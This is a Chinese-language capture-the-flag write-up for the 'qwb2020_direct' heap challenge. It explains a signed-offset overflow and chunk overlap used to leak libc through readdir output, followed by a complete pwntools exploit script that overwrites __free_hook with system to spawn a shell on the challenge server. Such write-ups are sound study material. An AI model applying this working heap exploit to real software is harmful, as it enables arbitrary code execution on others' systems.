0%

qwb2020_direct

edit功能里的offset和size都为有符号数,因此,可以令offset为负数,size为整数,这样,可以对当前这个堆的上方任意地址进行写数据。

由于程序中全程使用的是write进行输出,加上程序没有show功能,因此,攻击IO_2_1_stdout的方法在这里就泄露不了数据。

我们看到close功能,调用的是readdir函数,然后输出文件名。我们可以构造这样的布局,让dirp对象的堆处于chunk0和chunk1之间,即chunk0、dirp、chunk1、chunk2这样的布局,然后利用chunk2向上溢出,修改chunk1的size和prev_size,使得其被free时,向前合并,将dirp包含到中间,然后通过malloc,即可控制dirp的内容,将对应的name字符串做填充,一直填充到下方剩余的unsorted bin的fd处,这样print的时候就可以将unsorted bin的fd也打印出来,得到地址后就可以很容易利用了。利用unlink获得任意地址写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#coding:utf8
from pwn import *


#sh = process('./direct')
#context.log_level = 'debug'
sh = remote('106.14.214.3',1912)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
_IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_']
free_hook_s = libc.symbols['__free_hook']
malloc_hook_s = libc.symbols['__malloc_hook']
system_s = libc.symbols['system']


def add(index,size):
sh.sendlineafter('Your choice: ','1')
sh.sendlineafter('Index:',str(index))
sh.sendlineafter('Size:',str(size))


def edit(index,offset,size,content):
sh.sendlineafter('Your choice: ','2')
sh.sendlineafter('Index:',str(index))
sh.sendlineafter('Offset:',str(offset))
sh.sendlineafter('Size:',str(size))
sh.sendafter('Content:',content)


def delete(index):
sh.sendlineafter('Your choice: ','3')
sh.sendlineafter('Index:',str(index))


def open_f():
sh.sendlineafter('Your choice: ','4')


def close_f():
sh.sendlineafter('Your choice: ','5')


add(0,0xF0) #0
add(1,0x80) #1
open_f()
add(2,0xF0) #2
add(3,0xF0) #3
for i in range(4,11):
add(i,0xF0)
close_f()


for i in range(4,11):
delete(i)
#0放入unsorted bin
delete(0)
#向上溢出,修改2的prev_size和size
edit(3,-0x110,0x10,p64(0x8040 + 0x90 + 0x100) + p64(0x100))


#形成overlap chunk
delete(2)
add(0,0x90)
add(2,0xA0)
add(4,0x80)
add(5,0x10)
add(6,0x10)
edit(6,-0x15,0x15,'a'*0x15)
close_f()
sh.recvuntil('a'*0x15)
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'system_addr=',hex(system_addr)


#delete(4)
delete(1)
edit(2,0,0x68,'b'*0x50 + p64(0) + p64(0x91) + p64(free_hook_addr))
add(1,0x80)
edit(1,0,0x8,'/bin/sh\x00')
add(7,0x80)
edit(7,0,0x8,p64(system_addr))
#getshell
delete(1)


sh.interactive()